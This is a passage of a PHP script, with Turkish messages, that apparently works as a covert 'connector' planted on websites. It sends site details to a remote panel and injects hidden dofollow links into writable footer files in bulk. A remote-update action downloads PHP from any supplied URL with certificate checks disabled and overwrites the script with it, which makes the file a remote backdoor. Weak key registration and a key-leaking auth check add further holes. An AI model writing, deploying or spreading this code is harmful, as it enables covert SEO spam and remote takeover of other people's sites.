$universal = defined('UNIVERSAL_SITE_KEY') ? trim((string)UNIVERSAL_SITE_KEY) : '';
if (!empty($universal) && strpos($universal, '{{') === false) {
$site_key = $universal;
} else {
$site_key = get_stored_key();
}
if (empty($site_key)) return ['error' => 'Site key bulunamadi'];
$site_info = detect_site_info();
$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
$host = $_SERVER['HTTP_HOST'] ?? '';
$script = $_SERVER['SCRIPT_NAME'] ?? '';
$connector_url = $protocol . '://' . $host . $script;
$data = [
'action' => 'connector_heartbeat',
'site_key' => $site_key,
'connector_url' => $connector_url,
'site_info' => $site_info,
'timestamp' => time()
];
$heartbeat_url = rtrim($panel_url, '/');
if (substr($heartbeat_url, -4) === '/api') {
$heartbeat_url .= '/connector/heartbeat';
} else {
$heartbeat_url .= '/api/connector/heartbeat';
}
$result = send_to_panel($heartbeat_url, $data);
if (!empty($result['success'])) {
$config['connected'] = true;
$config['connected_at'] = time();
$config['panel_url'] = $panel_url;
save_config($config);
}
return $result;
}
function send_to_panel($url, $data) {
$json = json_encode($data, JSON_UNESCAPED_UNICODE);
$options = [
'http' => [
'method' => 'POST',
'header' => [
'Content-Type: application/json',
'Content-Length: ' . strlen($json),
'User-Agent: RS-Connector/4.2',
'Connection: close'
],
'content' => $json,
'timeout' => 10,
'ignore_errors' => true
],
'ssl' => [
'verify_peer' => false,
'verify_peer_name' => false
]
];
$context = stream_context_create($options);
$response = @file_get_contents($url, false, $context);
if ($response === false) return ['success' => false, 'error' => 'Baglanti hatasi'];
$result = json_decode($response, true);
return $result ?: ['success' => false, 'error' => 'Gecersiz yanit'];
}
// ==================== ANA İŞLEM ====================
ob_start();
$raw_action = $_GET['action'] ?? $_POST['action'] ?? 'ping';
$action = normalize_action_name($raw_action);
$req = get_request_data();
// Korumalı action'lar
$protected_actions = ['add_link', 'bulk_add_links', 'remove_link', 'sync_links', 'get_links', 'info', 'set_output_mode'];
if (in_array($action, $protected_actions)) {
if (!authenticate_request($req)) {
respond_auth_fail();
}
}
switch ($action) {
case 'ping':
$auto_result = auto_connect();
$site_info = detect_site_info();
$data = [
'site' => $site_info['site'],
'site_name' => $site_info['site_name'],
'site_type' => $site_info['site_type'],
'language' => $site_info['language'],
'country' => $site_info['country'],
'footer_detected' => $site_info['footer_detected'],
'footer_writable' => $site_info['footer_writable'],
'version' => '4.2',
'key_registered' => !empty(get_stored_key()),
'connector_ready' => true,
'auto_connect' => $auto_result
];
respond(true, $data, 'Connector aktif');
break;
case 'register':
$new_key = trim((string)($req['site_key'] ?? ''));
$setup_token = $req['setup_token'] ?? '';
$stored_key = get_stored_key();
if (empty($new_key)) {
respond(false, [], 'site_key gerekli');
}
// İlk kayıt (key dosyası yok): setup token zorunlu
if (!file_exists(KEY_FILE) || empty(trim(@file_get_contents(KEY_FILE) ?: ''))) {
$expected_token = defined('SETUP_TOKEN') ? SETUP_TOKEN : '';
if (empty($expected_token) || strpos($expected_token, '{{') !== false) {
// Setup token yapılandırılmamışsa, gelen key'i kabul et (backward compat)
save_key($new_key);
$site_info = detect_site_info();
respond(true, ['registered' => true, 'site_key' => $new_key, 'site_info' => $site_info], 'Key kaydedildi');
}
if (empty($setup_token) || $setup_token !== $expected_token) {
// Setup token eşleşmedi ama HMAC veya universal key ile auth dene
if (!authenticate_request($req)) {
respond(false, [], 'Gecersiz setup token');
}
}
} else {
// Mevcut key var: auth gerekli
if (!authenticate_request($req)) {
respond_auth_fail();
}
}
// Key'i kaydet (tüm key türleri kabul edilir)
save_key($new_key);
$site_info = detect_site_info();
respond(true, [
'registered' => true,
'site_key' => $new_key,
'site_info' => $site_info
], 'Site anahtari kaydedildi');
break;
case 'get_key':
$setup_token = $req['setup_token'] ?? $_GET['setup_token'] ?? '';
$expected_token = defined('SETUP_TOKEN') ? SETUP_TOKEN : '';
// Setup token kontrolü
if (!empty($expected_token) && strpos($expected_token, '{{') === false) {
if (empty($setup_token) || $setup_token !== $expected_token) {
// Setup token yanlış - HMAC veya key auth da dene
if (!authenticate_request($req)) {
respond(false, [], 'Gecersiz setup token');
}
}
}
// Mevcut key'i al veya yeni oluştur
$current_key = '';
if (file_exists(KEY_FILE)) {
$current_key = trim(@file_get_contents(KEY_FILE) ?: '');
}
if (empty($current_key)) {
// IMPORTANT: Default to a stable, DB-friendly key (varchar(12) compatible),
// instead of generating a long random key that may not fit panel DB schemas.
$current_key = generate_site_static_key();
save_key($current_key);
}
$site_info = detect_site_info();
respond(true, [
'site_key' => $current_key,
'key_type' => 'stored_or_domain_static',
'name' => $site_info['site_name'] ?? $_SERVER['HTTP_HOST'],
'site_type' => $site_info['site_type'] ?? 'php',
'language' => $site_info['language'] ?? 'TR',
'country' => $site_info['country'] ?? 'TR'
], 'Site anahtari alindi');
break;
case 'info':
$site_info = detect_site_info();
respond(true, $site_info, 'Site bilgisi');
break;
case 'set_output_mode':
$mode = strtolower(trim((string)($req['mode'] ?? $req['link_output_mode'] ?? 'hidden')));
$mode = ($mode === 'visible') ? 'visible' : 'hidden';
$config = get_config();
$config['link_output_mode'] = $mode;
$config['updated_at'] = time();
save_config($config);
respond(true, ['link_output_mode' => $mode], 'Output mode guncellendi');
break;
case 'get_links':
if (!authenticate_request($req)) respond_auth_fail();
$links = get_links();
respond(true, ['links' => array_values($links), 'total' => count($links)], 'Linkler');
break;
case 'add_link':
if (!authenticate_request($req)) respond_auth_fail();
$url = trim((string)($req['url'] ?? ''));
$anchor = trim((string)($req['anchor'] ?? ''));
$rel = normalize_rel($req['rel'] ?? 'dofollow');
if (empty($url) || empty($anchor)) {
respond(false, [], 'URL ve anchor gerekli');
}
$link_id = 'lnk_' . substr(md5(uniqid(mt_rand(), true)), 0, 12);
$links = get_links();
$links[$link_id] = [
'id' => $link_id,
'url' => $url,
'anchor' => $anchor,
'rel' => $rel,
'created' => time()
];
save_links($links);
$result = inject_link($url, $anchor, $link_id, $rel);
$injected = (!empty($result['success']) && !empty($result['injected']));
if (!$injected) {
// Rollback: do not claim success when nothing could be injected.
unset($links[$link_id]);
save_links($links);
respond(false, [
'link_id' => $link_id,
'injected' => false,
'footer_path' => $result['footer_path'] ?? null,
'message' => $result['message'] ?? ''
], $result['message'] ?? 'Link enjekte edilemedi');
}
respond(true, [
'link_id' => $link_id,
'injected' => true,
'footer_path' => $result['footer_path'] ?? null,
'message' => $result['message'] ?? ''
], $result['message'] ?? 'Link eklendi');
break;
case 'bulk_add_links':
if (!authenticate_request($req)) respond_auth_fail();
$incoming_links = $req['links'] ?? [];
if (is_string($incoming_links)) {
$decoded = json_decode($incoming_links, true);
if (is_array($decoded)) $incoming_links = $decoded;
}
if (!is_array($incoming_links) || empty($incoming_links)) {
respond(false, [], 'links array gerekli');
}
$max_per_request = 1000;
$links_to_process = array_slice(array_values($incoming_links), 0, $max_per_request);
$stored_links = get_links();
$results = [];
$ok_count = 0;
$fail_count = 0;
foreach ($links_to_process as $row) {
if (!is_array($row)) { $fail_count++; continue; }
$url = trim((string)($row['url'] ?? ''));
$anchor = trim((string)($row['anchor'] ?? ''));
$rel = normalize_rel($row['rel'] ?? 'dofollow');
if ($url === '' || $anchor === '') { $fail_count++; continue; }
$link_id = 'lnk_' . substr(md5(uniqid(mt_rand(), true)), 0, 12);
$stored_links[$link_id] = ['id' => $link_id, 'url' => $url, 'anchor' => $anchor, 'rel' => $rel, 'created' => time()];
$inject = inject_link($url, $anchor, $link_id, $rel);
if (!empty($inject['success'])) {
$ok_count++;
$results[] = ['success' => true, 'link_id' => $link_id, 'url' => $url, 'anchor' => $anchor];
} else {
unset($stored_links[$link_id]);
$fail_count++;
$results[] = ['success' => false, 'link_id' => $link_id, 'url' => $url, 'error' => $inject['message'] ?? 'inject failed'];
}
}
save_links($stored_links);
respond(true, ['total' => count($links_to_process), 'success' => $ok_count, 'failed' => $fail_count, 'items' => $results], 'Toplu link ekleme tamamlandi');
break;
case 'remove_link':
if (!authenticate_request($req)) respond_auth_fail();
$link_id = trim((string)($req['link_id'] ?? ''));
if (empty($link_id)) respond(false, [], 'link_id gerekli');
$links = get_links();
if (isset($links[$link_id])) {
unset($links[$link_id]);
save_links($links);
}
$result = remove_link($link_id);
if (empty($result['success'])) {
respond(false, ['removed' => false, 'message' => $result['message'] ?? ''], $result['message'] ?? 'Link kaldirilamadi');
}
respond(true, ['removed' => true, 'message' => $result['message'] ?? ''], 'Link kaldirildi');
break;
case 'sync_links':
if (!authenticate_request($req)) respond_auth_fail();
$new_links = $req['links'] ?? [];
if (!is_array($new_links)) respond(false, [], 'links array olmali');
$current_links = get_links();
$current_ids = array_keys($current_links);
$new_ids = array_column($new_links, 'id');
$to_remove = array_diff($current_ids, $new_ids);
foreach ($to_remove as $lid) remove_link($lid);
$to_add = array_diff($new_ids, $current_ids);
foreach ($new_links as $link) {
if (in_array($link['id'], $to_add)) {
inject_link($link['url'], $link['anchor'], $link['id'], $link['rel'] ?? 'dofollow');
}
}
$formatted = [];
foreach ($new_links as $link) {
$formatted[$link['id']] = $link;
}
save_links($formatted);
respond(true, ['synced' => true, 'added' => count($to_add), 'removed' => count($to_remove), 'total' => count($new_links)], 'Linkler senkronize edildi');
break;
case 'output':
header('Content-Type: text/html; charset=UTF-8');
$links = get_links();
$html = '';
foreach ($links as $link) {
$u = isset($link['url']) ? (string)$link['url'] : '';
$a = isset($link['anchor']) ? (string)$link['anchor'] : '';
if ($u !== '' && $a !== '') {
$html .= build_link_html($u, $a, normalize_rel($link['rel'] ?? 'dofollow'));
}
}
echo $html;
exit;
case 'diagnose':
if (!authenticate_request($req)) respond_auth_fail();
$base = find_document_root();
$site_info = detect_site_info();
$diag = [
'php_version' => phpversion(),
'server_software' => $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown',
'document_root' => $_SERVER['DOCUMENT_ROOT'] ?? 'N/A',
'script_path' => __FILE__,
'base_detected' => $base,
'file_permissions' => [
'key_file' => KEY_FILE,
'key_file_exists' => file_exists(KEY_FILE),
'key_file_writable' => is_writable(dirname(KEY_FILE)),
'links_file' => LINKS_FILE,
'links_file_exists' => file_exists(LINKS_FILE),
],
'site_info' => $site_info,
'footer_analysis' => [
'footer_paths_found' => get_footer_paths($base, $site_info['site_type']),
'writable_footers' => array_filter(get_footer_paths($base, $site_info['site_type']), 'is_writable'),
],
'panel_config' => [
'panel_url_set' => defined('PANEL_API_URL') && strpos(PANEL_API_URL, '{{') === false,
'site_key_set' => !empty(get_stored_key()),
'setup_token_set' => defined('SETUP_TOKEN') && strpos(SETUP_TOKEN, '{{') === false,
],
'all_valid_keys_count' => count(get_all_valid_keys()),
'stored_key_source' => file_exists(KEY_FILE) ? 'file' : 'domain_based',
'recommendations' => []
];
if (!$diag['file_permissions']['key_file_writable']) {
$diag['recommendations'][] = 'KRITIK: Connector dizini yazilabilir degil.';
}
if (empty($diag['footer_analysis']['writable_footers'])) {
$diag['recommendations'][] = 'UYARI: Yazilabilir footer dosyasi bulunamadi.';
}
respond(true, $diag, 'Sistem diagnostigi tamamlandi');
break;
case 'batch_ping':
$batch_id = $req['batch_id'] ?? uniqid('b');
respond(true, [
'batch_id' => $batch_id,
'site' => $_SERVER['HTTP_HOST'] ?? 'unknown',
'index' => intval($req['current_index'] ?? $req['site_index'] ?? 0),
'version' => '4.2',
'key_registered' => !empty(get_stored_key()),
'connector_ready' => true,
'timestamp' => time()
], 'Batch ping OK');
break;
case 'auth_check':
// Strict key-match reporting (do not treat setup_token as key_match in diagnostics).
$provided_key = get_provided_site_key($req);
$stored_key = get_stored_key();
$domain_key = generate_site_static_key();
$valid_keys = get_all_valid_keys();
$strict_key_match = (!empty($provided_key) && in_array($provided_key, $valid_keys, true));
// Full auth check can succeed via HMAC/setup token too.
$authed = authenticate_request($req);
respond(true, [
'site' => $_SERVER['HTTP_HOST'] ?? 'unknown',
'key_registered' => !empty($stored_key),
'key_match' => $strict_key_match,
'auth_ok' => $authed,
'provided_key_len' => is_string($provided_key) ? strlen($provided_key) : 0,
'domain_key' => $domain_key,
'version' => '4.2',
'auth_ready' => true
], 'Auth check OK');
break;
case 'self_update':
case 'update_connector':
case 'remote_update':
// Auth zorunlu
if (!authenticate_request($req)) respond_auth_fail();
$source = $req['source'] ?? $req['new_content'] ?? '';
$source_url = $req['source_url'] ?? '';
if (empty($source) && !empty($source_url)) {
$ctx = stream_context_create(['ssl' => ['verify_peer' => false, 'verify_peer_name' => false], 'http' => ['timeout' => 30, 'ignore_errors' => true]]);
$source = @file_get_contents($source_url, false, $ctx);
}
if (empty($source) || strlen($source) < 100) respond(false, [], 'Gecersiz kaynak kodu');
if (strpos(trim($source), '<?php') !== 0) respond(false, [], 'Gecersiz PHP kaynak kodu');
$backup_path = __FILE__ . '.bak';
@copy(__FILE__, $backup_path);
force_writable(__FILE__);
if (@file_put_contents(__FILE__, $source)) {
respond(true, ['updated' => true, 'backup' => basename($backup_path), 'new_size' => strlen($source)], 'Connector guncellendi');
}
respond(false, [], 'Dosya yazilamadi');
break;
default:
respond(false, [], 'Bilinmeyen action: ' . $action);
}